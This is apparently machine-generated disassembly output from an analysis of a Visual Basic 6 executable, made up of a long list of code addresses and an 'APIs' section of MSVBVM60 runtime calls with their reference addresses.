0x0040e822
0x0040e832
0x0040e833
0x0040e839
0x0040e83a
0x0040e83f
0x0040e846
0x0040e84c
0x0040e85a
0x0040e860
0x0040e86e
0x0040e88b
0x0040e870
0x0040e870
0x0040e875
0x0040e87a
0x0040e87f
0x0040e87f
0x0040e8af
0x0040e8b3
0x0040e8b8
0x0040e8d0
0x0040e8d6
0x0040e8d8
0x0040e8e5
0x0040e90a
0x0040e8e7
0x0040e8e7
0x0040e8ec
0x0040e8f1
0x0040e8f7
0x0040e8fd
0x0040e902
0x0040e902
0x0040e914
0x0040e91a
0x0040e924
0x0040e92a
0x0040e93a
0x0040e93b
0x0040e943
0x0040e948
0x0040e94e
0x0040e94e
0x0040e953
0x0040e95a
0x0040e964
0x0040e96e
0x0040e978
0x0040e982
0x0040e993
0x0040e999
0x0040e9a6
0x0040e9a7
0x0040e9a8
0x0040e9a9
0x0040e9c5
0x0040e9cb
0x0040e9d8
0x0040e9fa
0x0040e9da
0x0040e9da
0x0040e9df
0x0040e9e4
0x0040e9e7
0x0040e9ed
0x0040e9f2
0x0040e9f2
0x0040ea07
0x0040ea0c
0x0040ea22
0x0040ea2e
0x0040ea31
0x0040ea3f
0x0040ea5c
0x0040ea41
0x0040ea41
0x0040ea46
0x0040ea4b
0x0040ea50
0x0040ea50
0x0040ea80
0x0040ea84
0x0040ea89
0x0040eaa4
0x0040eaa7
0x0040eaa9
0x0040eab6
0x0040ead8
0x0040eab8
0x0040eab8
0x0040eaba
0x0040eabf
0x0040eac5
0x0040eacb
0x0040ead0
0x0040ead0
0x0040eae6
0x0040eb03
0x0040eae8
0x0040eae8
0x0040eaed
0x0040eaf2
0x0040eaf7
0x0040eaf7
0x0040eb27
0x0040eb2e
0x0040eb33
0x0040eb4e
0x0040eb54
0x0040eb56
0x0040eb63
0x0040eb88
0x0040eb65
0x0040eb65
0x0040eb6a
0x0040eb6f
0x0040eb75
0x0040eb7b
0x0040eb80
0x0040eb80
0x0040eb8f
0x0040eb91
0x0040eb93
0x0040eb9f
0x0040eba0
0x0040eba5
0x0040ebaf
0x0040ebcc
0x0040ebb1
0x0040ebb1
0x0040ebb6
0x0040ebbb
0x0040ebc0
0x0040ebc0
0x0040ebf0
0x0040ebf7
0x0040ebfc
0x0040ec17
0x0040ec1d
0x0040ec1f
0x0040ec2c
0x0040ec51
0x0040ec2e
0x0040ec2e
0x0040ec33
0x0040ec38
0x0040ec3e
0x0040ec44
0x0040ec49
0x0040ec49
0x0040ec5e
0x0040ec64
0x0040ec75
0x0040ec7f
0x0040ec8a
0x0040ec90
0x0040ec9a
0x0040ecaa
0x0040ecb0
0x0040ecc1
0x0040ecd9
0x0040eceb
0x0040ed07
0x0040ed10
0x0040ed1b
0x0040ed22
0x0040ed29
0x0040ed2d
0x0040ed2e
0x0040ed30
0x0040ed3e
0x0040ed45
0x0040ed46
0x0040ed48
0x0040ed4d
0x0040ed50
0x0040ed5e
0x0040ed7b
0x0040ed60
0x0040ed60
0x0040ed65
0x0040ed6a
0x0040ed6f
0x0040ed6f
0x0040ed9f
0x0040eda3
0x0040eda8
0x0040edc3
0x0040edc9
0x0040edcb
0x0040edd8
0x0040edfd
0x0040edda
0x0040edda
0x0040eddf
0x0040ede4
0x0040edea
0x0040edf0
0x0040edf5
0x0040edf5
0x0040ee04
0x0040ee06
0x0040ee08
0x0040ee14
0x0040ee15
0x0040ee1a
0x0040ee24
0x0040ee41
0x0040ee26
0x0040ee26
0x0040ee2b
0x0040ee30
0x0040ee35
0x0040ee35
0x0040ee65
0x0040ee6c
0x0040ee71
0x0040ee89
0x0040ee8f
0x0040ee91
0x0040ee9e
0x0040eec3
0x0040eea0
0x0040eea0
0x0040eea5
0x0040eeaa
0x0040eeb0
0x0040eeb6
0x0040eebb
0x0040eebb
0x0040eed1
0x0040eeee
0x0040eed3
0x0040eed3
0x0040eed8
0x0040eedd
0x0040eee2
0x0040eee2
0x0040ef12
0x0040ef19
0x0040ef1e
0x0040ef39
0x0040ef3f
0x0040ef41
0x0040ef4e
0x0040ef73
0x0040ef50
0x0040ef50
0x0040ef55
0x0040ef5a
0x0040ef60
0x0040ef66
0x0040ef6b
0x0040ef6b
0x0040ef7a
0x0040ef7c
0x0040ef7e
0x0040ef8a
0x0040ef8b
0x0040ef90
0x0040ef9a
0x0040efb7
0x0040ef9c
0x0040ef9c
0x0040efa1
0x0040efa6
0x0040efab
0x0040efab
0x0040efdb
0x0040efe2
0x0040efe7
0x0040efff
0x0040f005
0x0040f007
0x0040f014
0x0040f039
0x0040f016
0x0040f016
0x0040f01b
0x0040f020
0x0040f026
0x0040f02c
0x0040f031
0x0040f031
0x0040f047
0x0040f064
0x0040f049
0x0040f049
0x0040f04e
0x0040f053
0x0040f058
0x0040f058
0x0040f088
0x0040f08f
0x0040f094
0x0040f0af
0x0040f0b5
0x0040f0b7
0x0040f0c4
0x0040f0e9
0x0040f0c6
0x0040f0c6
0x0040f0cb
0x0040f0d0
0x0040f0d6
0x0040f0dc
0x0040f0e1
0x0040f0e1
0x0040f0f6
0x0040f0fc
0x0040f109
0x0040f10f
0x0040f11c
0x0040f121
0x0040f128
0x0040f12d
0x0040f136
0x0040f13c
0x0040f146
0x0040f14c
0x0040f156
0x0040f15d
0x0040f162
0x0040f168
0x0040f172
0x0040f1a6
0x0040f1b3
0x0040f1b4
0x0040f1b5
0x0040f1b6
0x0040f1ce
0x0040f1d4
0x0040f1e1
0x0040f203
0x0040f1e3
0x0040f1e3
0x0040f1e8
0x0040f1ed
0x0040f1f0
0x0040f1f6
0x0040f1fb
0x0040f1fb
0x0040f20d
0x0040f218
0x0040f21f
0x0040f226
0x0040f22d
0x0040f234
0x0040f23b
0x0040f23f
0x0040f240
0x0040f242
0x0040f250
0x0040f257
0x0040f25e
0x0040f25f
0x0040f261
0x0040f266
0x0040f269
0x0040f277
0x0040f294
0x0040f279
0x0040f279
0x0040f27e
0x0040f283
0x0040f288
0x0040f288
0x0040f2b8
0x0040f2bc
0x0040f2c1
0x0040f2dc
0x0040f2df
0x0040f2e1
0x0040f2ee
0x0040f310
0x0040f2f0
0x0040f2f0
0x0040f2f2
0x0040f2f7
0x0040f2fd
0x0040f303
0x0040f308
0x0040f308
0x0040f31e
0x0040f33b
0x0040f320
0x0040f320
0x0040f325
0x0040f32a
0x0040f32f
0x0040f32f
0x0040f35f
0x0040f366
0x0040f36b
0x0040f386
0x0040f389
0x0040f38b
0x0040f398
0x0040f3ba
0x0040f39a
0x0040f39a
0x0040f39c
0x0040f3a1
0x0040f3a7
0x0040f3ad
0x0040f3b2
0x0040f3b2
0x0040f3c8
0x0040f3e5
0x0040f3ca
0x0040f3ca
0x0040f3cf
0x0040f3d4
0x0040f3d9
0x0040f3d9
0x0040f409
0x0040f410
0x0040f415
0x0040f430
0x0040f436
0x0040f438
0x0040f445
0x0040f46a
0x0040f447
0x0040f447
0x0040f44c
0x0040f451
0x0040f457
0x0040f45d
0x0040f462
0x0040f462
0x0040f478
0x0040f495
0x0040f47a
0x0040f47a
0x0040f47f
0x0040f484
0x0040f489
0x0040f489
0x0040f4b9
0x0040f4c0
0x0040f4c5
0x0040f4e0
0x0040f4e6
0x0040f4e8
0x0040f4f5
0x0040f51a
0x0040f4f7
0x0040f4f7
0x0040f4fc
0x0040f501
0x0040f507
0x0040f50d
0x0040f512
0x0040f512
0x0040f521
0x0040f523
0x0040f525
0x0040f531
0x0040f532
0x0040f537
0x0040f541
0x0040f55e
0x0040f543
0x0040f543
0x0040f548
0x0040f54d
0x0040f552
0x0040f552
0x0040f582
0x0040f589
0x0040f58e
0x0040f5a9
0x0040f5af
0x0040f5b1
0x0040f5be
0x0040f5e3
0x0040f5c0
0x0040f5c0
0x0040f5c5
0x0040f5ca
0x0040f5d0
0x0040f5d6
0x0040f5db
0x0040f5db
0x0040f5f1
0x0040f60e
0x0040f5f3
0x0040f5f3
0x0040f5f8
0x0040f5fd
0x0040f602
0x0040f602
0x0040f632
0x0040f639
0x0040f63e
0x0040f659
0x0040f65f
0x0040f661
0x0040f66e
0x0040f693
0x0040f670
0x0040f670
0x0040f675
0x0040f67a
0x0040f680
0x0040f686
0x0040f68b
0x0040f68b
0x0040f6a0
0x0040f6a6
0x0040f6b6
0x0040f6bc
0x0040f6c6
0x0040f6d0
0x0040f6da
0x0040f6e4
0x0040f702
0x0040f709
0x0040f713
0x0040f723
0x0040f730
0x0040f731
0x0040f732
0x0040f733
0x0040f74f
0x0040f755
0x0040f762
0x0040f784
0x0040f764
0x0040f764
0x0040f769
0x0040f76e
0x0040f771
0x0040f777
0x0040f77c
0x0040f77c
0x0040f792
0x0040f799
0x0040f7ce
0x0040f7ed
0x0040f7f2
0x0040f7f5
0x0040f80b
0x0040f811
0x0040f81e
0x0040f840
0x0040f820
0x0040f820
0x0040f825
0x0040f82a
0x0040f82d
0x0040f833
0x0040f838
0x0040f838
0x0040f84d
0x0040f850
0x0040f85e
0x0040f87b
0x0040f860
0x0040f860
0x0040f865
0x0040f86a
0x0040f86f
0x0040f86f
0x0040f89f
0x0040f8a3
0x0040f8a8
0x0040f8c3
0x0040f8c9
0x0040f8cb
0x0040f8d8
0x0040f8fd
0x0040f8da
0x0040f8da
0x0040f8df
0x0040f8e4
0x0040f8ea
0x0040f8f0
0x0040f8f5
0x0040f8f5
0x0040f90b
0x0040f928
0x0040f90d
0x0040f90d
0x0040f912
0x0040f917
0x0040f91c
0x0040f91c
0x0040f94c
0x0040f953
0x0040f958
0x0040f973
0x0040f979
0x0040f97b
0x0040f988
0x0040f9ad
0x0040f98a
0x0040f98a
0x0040f98f
0x0040f994
0x0040f99a
0x0040f9a0
0x0040f9a5
0x0040f9a5
0x0040f9bb
0x0040f9d8
0x0040f9bd
0x0040f9bd
0x0040f9c2
0x0040f9c7
0x0040f9cc
0x0040f9cc
0x0040f9fc
0x0040fa03
0x0040fa08
0x0040fa20
0x0040fa23
0x0040fa25
0x0040fa32
0x0040fa54
0x0040fa34
0x0040fa34
0x0040fa36
0x0040fa3b
0x0040fa41
0x0040fa47
0x0040fa4c
0x0040fa4c
0x0040fa5e
0x0040fa64
0x0040fa6e
0x0040fa74
0x0040fa85
0x0040fa8f
0x0040fa9c
0x0040fa9d
0x0040fa9e
0x0040fa9f
0x0040fab5
0x0040fabb
0x0040fac8
0x0040faea
0x0040faca
0x0040faca
0x0040facf
0x0040fad4
0x0040fad7
0x0040fadd
0x0040fae2
0x0040fae2
0x0040faf7
0x0040fafe
0x0040fb02
0x0040fb03
0x0040fb05
0x0040fb0a
0x0040fb13
0x0040fb18
0x0040fb26
0x0040fb43
0x0040fb28
0x0040fb28
0x0040fb2d
0x0040fb32
0x0040fb37
0x0040fb37
0x0040fb67
0x0040fb6b
0x0040fb70
0x0040fb8b
0x0040fb91
0x0040fb93
0x0040fba0
0x0040fbc5
0x0040fba2
0x0040fba2
0x0040fba7
0x0040fbac
0x0040fbb2
0x0040fbb8
0x0040fbbd
0x0040fbbd
0x0040fbd3
0x0040fbf0
0x0040fbd5
0x0040fbd5
0x0040fbda
0x0040fbdf
0x0040fbe4
0x0040fbe4
0x0040fc14
0x0040fc1b
0x0040fc20
0x0040fc38
0x0040fc3b
0x0040fc3d
0x0040fc4a
0x0040fc6c
0x0040fc4c
0x0040fc4c
0x0040fc4e
0x0040fc53
0x0040fc59
0x0040fc5f
0x0040fc64
0x0040fc64
0x0040fc7a
0x0040fc97
0x0040fc7c
0x0040fc7c
0x0040fc81
0x0040fc86
0x0040fc8b
0x0040fc8b
0x0040fcbb
0x0040fcc2
0x0040fcc7
0x0040fce2
0x0040fce5
0x0040fce7
0x0040fcf4
0x0040fd16
0x0040fcf6
0x0040fcf6
0x0040fcf8
0x0040fcfd
0x0040fd03
0x0040fd09
0x0040fd0e
0x0040fd0e
0x0040fd24
0x0040fd41
0x0040fd26
0x0040fd26
0x0040fd2b
0x0040fd30
0x0040fd35
0x0040fd35
0x0040fd65
0x0040fd6c
0x0040fd71
0x0040fd8c
0x0040fd92
0x0040fd94
0x0040fda1
0x0040fdc6
0x0040fda3
0x0040fda3
0x0040fda8
0x0040fdad
0x0040fdb3
0x0040fdb9
0x0040fdbe
0x0040fdbe
0x0040fdd4
0x0040fdf1
0x0040fdd6
0x0040fdd6
0x0040fddb
0x0040fde0
0x0040fde5
0x0040fde5
0x0040fe0b
0x0040fe15
0x0040fe1c
0x0040fe21
0x0040fe39
0x0040fe3f
0x0040fe41
0x0040fe4e
0x0040fe73
0x0040fe50
0x0040fe50
0x0040fe55
0x0040fe5a
0x0040fe60
0x0040fe66
0x0040fe6b
0x0040fe6b
0x0040fe7d
0x0040fe83
0x0040fe8d
0x0040fe93
0x0040fea3
0x0040fea9
0x0040feb6
0x0040febc
0x0040fec6
0x0040fed6
0x0040fef7
0x0040ff04
0x0040ff05
0x0040ff06
0x0040ff07
0x0040ff1d
0x0040ff32
0x0040ff38
0x0040ff45
0x0040ff67
0x0040ff47
0x0040ff47
0x0040ff4c
0x0040ff51
0x0040ff54
0x0040ff5a
0x0040ff5f
0x0040ff5f
0x0040ff77
0x0040ff7f
0x0040ffa6
0x0040ffbe
0x0040ffc3
0x0040ffc6
0x0040ffd5
0x0040fffc
0x00410008
0x0041000e
0x00410013
0x00410021
0x0041003e
0x00410023
0x00410023
0x00410028
0x0041002d
0x00410032
0x00410032
0x00410062
0x00410066
0x0041006b
0x00410086
0x0041008c
0x0041008e
0x0041009b
0x004100c0
0x0041009d
0x0041009d
0x004100a2
0x004100a7
0x004100ad
0x004100b3
0x004100b8
0x004100b8
0x004100c7
0x004100c9
0x004100cb
0x004100d7
0x004100d8
0x004100dd
0x004100e7
0x00410104
0x004100e9
0x004100e9
0x004100ee
0x004100f3
0x004100f8
0x004100f8
0x00410128
0x0041012f
0x00410134
0x0041014f
0x00410155
0x00410157
0x00410164
0x00410189
0x00410166
0x00410166
0x0041016b
0x00410170
0x00410176
0x0041017c
0x00410181
0x00410181
0x00410197
0x004101b4
0x00410199
0x00410199
0x0041019e
0x004101a3
0x004101a8
0x004101a8
0x004101d8
0x004101df
0x004101e4
0x004101ff
0x00410205
0x00410207
0x00410214
0x00410239
0x00410216
0x00410216
0x0041021b
0x00410220
0x00410226
0x0041022c
0x00410231
0x00410231
0x00410247
0x00410264
0x00410249
0x00410249
0x0041024e
0x00410253
0x00410258
0x00410258
0x00410288
0x0041028f
0x00410294
0x004102af
0x004102b2
0x004102b4
0x004102c1
0x004102e3
0x004102c3
0x004102c3
0x004102c5
0x004102ca
0x004102d0
0x004102d6
0x004102db
0x004102db
0x004102f1
0x0041030e
0x004102f3
0x004102f3
0x004102f8
0x004102fd
0x00410302
0x00410302
0x00410332
0x00410339
0x0041033e
0x00410359
0x0041035f
0x00410361
0x0041036e
0x00410393
0x00410370
0x00410370
0x00410375
0x0041037a
0x00410380
0x00410386
0x0041038b
0x0041038b
0x0041039a
0x0041039c
0x0041039e
0x004103aa
0x004103ab
0x004103b0
0x004103ba
0x004103d7
0x004103bc
0x004103bc
0x004103c1
0x004103c6
0x004103cb
0x004103cb
0x004103fb
0x00410402
0x00410407
0x00410422
0x00410428
0x0041042a
0x00410437
0x0041045c
0x00410439
0x00410439
0x0041043e
0x00410443
0x00410449
0x0041044f
0x00410454
0x00410454
0x0041046b
0x00410477
0x00410484
0x0041048a
0x00410491
0x00410496
0x004104a9
0x004104b0
0x004104f1
0x00410500
0x00410508
0x00410513
0x0041051a
0x00410521
0x00410528
0x0041052f
0x00410536
0x0041053d
0x00410541
0x00410542
0x00410544
0x00410552
0x00410559
0x0041055a
0x0041055c
0x00410561
0x00410564
0x00410572
0x0041058f
0x00410574
0x00410574
0x00410579
0x0041057e
0x00410583
0x00410583
0x004105b3
0x004105b7
0x004105bc
0x004105d7
0x004105dd
0x004105df
0x004105ec
0x00410611
0x004105ee
0x004105ee
0x004105f3
0x004105f8
0x004105fe
0x00410604
0x00410609
0x00410609
0x0041061f
0x0041063c
0x00410621
0x00410621
0x00410626
0x0041062b
0x00410630
0x00410630
0x00410660
0x00410667
0x0041066c
0x00410687
0x0041068d
0x0041068f
0x0041069c
0x004106c1
0x0041069e
0x0041069e
0x004106a3
0x004106a8
0x004106ae
0x004106b4
0x004106b9
0x004106b9
0x004106cf
0x004106ec
0x004106d1
0x004106d1
0x004106d6
0x004106db
0x004106e0
0x004106e0
0x00410710
0x00410717
0x0041071c
0x00410737
0x0041073a
0x0041073c
0x00410749
0x0041076b
0x0041074b
0x0041074b
0x0041074d
0x00410752
0x00410758
0x0041075e
0x00410763
0x00410763
0x00410778
0x0041077e
0x00410788
0x00410798
0x004107a4
0x004107aa
0x004107b7
0x004107bd
0x004107ce
0x004107d5
0x004107df
0x004107e9
0x004107f3
0x0041080e
0x0041081b
0x0041081c
0x0041081d
0x0041081e
0x00410841
0x0041084e
0x0041084f
0x00410850
0x00410851
0x00410855
0x00410862
0x00410863
0x00410864
0x00410865
0x0041086e
0x00410874
0x00410881
0x004108a3
0x00410883
0x00410883
0x00410888
0x0041088d
0x00410890
0x00410896
0x0041089b
0x0041089b
0x004108b0
0x004108b9
0x004108c2
0x004108c9
0x004108cd
0x004108ce
0x004108d0
0x004108d5
0x004108de
0x004108e3
0x004108f1
0x0041090e
0x004108f3
0x004108f3
0x004108f8
0x004108fd
0x00410902
0x00410902
0x00410932
0x00410936
0x0041093b
0x00410956
0x0041095c
0x0041095e
0x0041096b
0x00410990
0x0041096d
0x0041096d
0x00410972
0x00410977
0x0041097d
0x00410983
0x00410988
0x00410988
0x0041099e
0x004109bb
0x004109a0
0x004109a0
0x004109a5
0x004109aa
0x004109af
0x004109af
0x004109d5
0x004109df
0x004109e6
0x004109eb
0x00410a06
0x00410a0c
0x00410a0e
0x00410a1b
0x00410a40
0x00410a1d
0x00410a1d
0x00410a22
0x00410a27
0x00410a2d
0x00410a33
0x00410a38
0x00410a38
0x00410a47
0x00410a50
0x00410a59
0x00410a63
0x00410a96
0x00410aa8
0x00410aae
0x00410abb
0x00410add
0x00410abd
0x00410abd
0x00410ac2
0x00410ac7
0x00410aca
0x00410ad0
0x00410ad5
0x00410ad5
0x00410aeb
0x00410af5
0x00410af9
0x00410afa
0x00410afc
0x00410b01
0x00410b0a
0x00410b0f
0x00410b1d
0x00410b3a
0x00410b1f
0x00410b1f
0x00410b24
0x00410b29
0x00410b2e
0x00410b2e
0x00410b5e
0x00410b62
0x00410b67
0x00410b82
0x00410b85
0x00410b87
0x00410b94
0x00410bb6
0x00410b96
0x00410b96
0x00410b98
0x00410b9d
0x00410ba3
0x00410ba9
0x00410bae
0x00410bae
0x00410bc4
0x00410be1
0x00410bc6
0x00410bc6
0x00410bcb
0x00410bd0
0x00410bd5
0x00410bd5
0x00410c05
0x00410c0c
0x00410c11
0x00410c2c
0x00410c2f
0x00410c31
0x00410c3e
0x00410c60
0x00410c40
0x00410c40
0x00410c42
0x00410c47
0x00410c4d
0x00410c53
0x00410c58
0x00410c58
0x00410c6d
0x00410c73
0x00410c83
0x00410c8e
0x00410c91
0x00410cbc
0x00410cc7
0x00410ccd
0x00410cda
0x00410cfc
0x00410cdc
0x00410cdc
0x00410ce1
0x00410ce6
0x00410ce9
0x00410cef
0x00410cf4
0x00410cf4
0x00410d06
0x00410d18
0x00410d20
0x00410d29
0x00410d2e
0x00410d3d
0x00410d43
0x00410d45
0x00410d52
0x00410d74
0x00410d54
0x00410d54
0x00410d59
0x00410d5e
0x00410d61
0x00410d67
0x00410d6c
0x00410d6c
0x00410d7b
0x00410d7b
0x00410d86
0x00410d89
0x00410d94
0x00000000
0x00000000
0x00410d98
0x00410d9a
0x00410da1
0x00410da6
0x00410dad
0x00410db4
0x00410dbb
0x00410dc2
0x00410dcc
0x00410dd9
0x00410ddf
0x00410de6
0x00410de7
0x00410e66
0x00410e6e
0x00410e73

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 0040E7C8
#670.MSVBVM60(?,?,?,?,?,004012E6), ref: 0040E813
__vbaVarTstEq.MSVBVM60(00008008,?), ref: 0040E83A
__vbaFreeVar.MSVBVM60(00008008,?), ref: 0040E84C
__vbaNew2.MSVBVM60(00402B8C,00413010,00008008,?), ref: 0040E87A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040E8B3
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000158), ref: 0040E8FD
#529.MSVBVM60(00000008), ref: 0040E93B
__vbaFreeObj.MSVBVM60(00000008), ref: 0040E943
__vbaFreeVar.MSVBVM60(00000008), ref: 0040E94E
__vbaChkstk.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00008008,?), ref: 0040E999
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403918,000006F8), ref: 0040E9ED
__vbaFreeVar.MSVBVM60(00000000,?,00403918,000006F8), ref: 0040EA07
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040EA4B
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EA84
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00403AC4,00000078), ref: 0040EACB
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040EAF2
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EB2E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000130), ref: 0040EB7B
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0040EBA0
__vbaNew2.MSVBVM60(00402B8C,00413010,?,?,?,004012E6), ref: 0040EBBB
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EBF7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000118), ref: 0040EC44
__vbaStrVarMove.MSVBVM60(?), ref: 0040EC75
__vbaStrMove.MSVBVM60(?), ref: 0040EC7F
__vbaVarDup.MSVBVM60(?), ref: 0040ECB0
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,v6_,?,00007259,?), ref: 0040ED10
__vbaFreeObjList.MSVBVM60(00000004,?,?,?,?,?,?,?,?,?,?,v6_,?,00007259,?), ref: 0040ED30
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 0040ED48
__vbaNew2.MSVBVM60(00402B8C,00413010,?,?,?,?,?,?,?,?,?,?,?,004012E6), ref: 0040ED6A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EDA3
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,000000F8), ref: 0040EDF0
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0040EE15
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040EE30
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EE6C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000158), ref: 0040EEB6
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040EEDD
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EF19
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000160), ref: 0040EF66
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0040EF8B
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040EFA6
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EFE2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000158), ref: 0040F02C
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040F053
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F08F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000080), ref: 0040F0DC
__vbaStrMove.MSVBVM60(00000000,?,00403AC4,00000080), ref: 0040F11C
__vbaI4Var.MSVBVM60(?), ref: 0040F128
__vbaI4Var.MSVBVM60(?,?), ref: 0040F15D
__vbaChkstk.MSVBVM60(?,00000008,?,?,00084AC3,?,?,?), ref: 0040F1A6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403918,000006FC), ref: 0040F1F6
__vbaFreeStr.MSVBVM60(00000000,?,00403918,000006FC), ref: 0040F20D
__vbaFreeObjList.MSVBVM60(00000007,?,?,?,?,?,?,?), ref: 0040F242
__vbaFreeVarList.MSVBVM60(00000003,?,?,?), ref: 0040F261
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040F283
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F2BC
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000060), ref: 0040F303
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040F32A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F366
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000060), ref: 0040F3AD
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040F3D4
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F410
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000138), ref: 0040F45D
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040F484
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F4C0
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000130), ref: 0040F50D
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0040F532
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040F54D
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F589
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000118), ref: 0040F5D6
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040F5FD
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F639
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000178), ref: 0040F686
__vbaStrVarMove.MSVBVM60(?,00000003,?,?), ref: 0040F709
__vbaStrMove.MSVBVM60(?,00000003,?,?), ref: 0040F713
__vbaChkstk.MSVBVM60(00000003,00000000,?,00000003,?,?), ref: 0040F723
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403918,00000700), ref: 0040F777
__vbaFreeStr.MSVBVM60(00000000,?,00403918,00000700), ref: 0040F799
__vbaFreeObjList.MSVBVM60(00000007,?,?,?,?,?,?,?), ref: 0040F7CE
__vbaFreeVarList.MSVBVM60(00000003,00000003,?,?), ref: 0040F7ED
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403918,00000704), ref: 0040F833
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040F86A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F8A3
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00403AC4,00000188), ref: 0040F8F0
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040F917
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F953
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000140), ref: 0040F9A0
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040F9C7
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FA03
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000050), ref: 0040FA47
__vbaChkstk.MSVBVM60(00000000,?,00403AC4,00000050), ref: 0040FA8F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403918,00000708), ref: 0040FADD
__vbaFreeObjList.MSVBVM60(00000003,?,?,?), ref: 0040FB05
__vbaFreeVar.MSVBVM60 ref: 0040FB13
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040FB32
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FB6B
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000188), ref: 0040FBB8
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040FBDF
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FC1B
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000048), ref: 0040FC5F
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040FC86
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FCC2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000068), ref: 0040FD09
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040FD30
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FD6C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000130), ref: 0040FDB9
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0040FDE0
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FE1C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000108), ref: 0040FE66
__vbaChkstk.MSVBVM60(00000008,F0230230,00005AFA,?), ref: 0040FEF7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403918,0000070C,?,?,?,0024158F,00000008,F0230230,00005AFA,?), ref: 0040FF5A
__vbaVarMove.MSVBVM60(?,?,?,0024158F,00000008,F0230230,00005AFA,?), ref: 0040FF77
__vbaFreeStr.MSVBVM60(?,?,?,0024158F,00000008,F0230230,00005AFA,?), ref: 0040FF7F
__vbaFreeObjList.MSVBVM60(00000005,?,?,?,?,?,?,?,?,0024158F,00000008,F0230230,00005AFA,?), ref: 0040FFA6
__vbaFreeVarList.MSVBVM60(00000002,00000009,00000008), ref: 0040FFBE
__vbaStrCopy.MSVBVM60 ref: 0040FFD5
__vbaFreeStr.MSVBVM60 ref: 0041000E
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0041002D
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410066
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,000000F8), ref: 004100B3
__vbaLateIdCallLd.MSVBVM60(00000009,?,00000000,00000000), ref: 004100D8
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 004100F3
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041012F
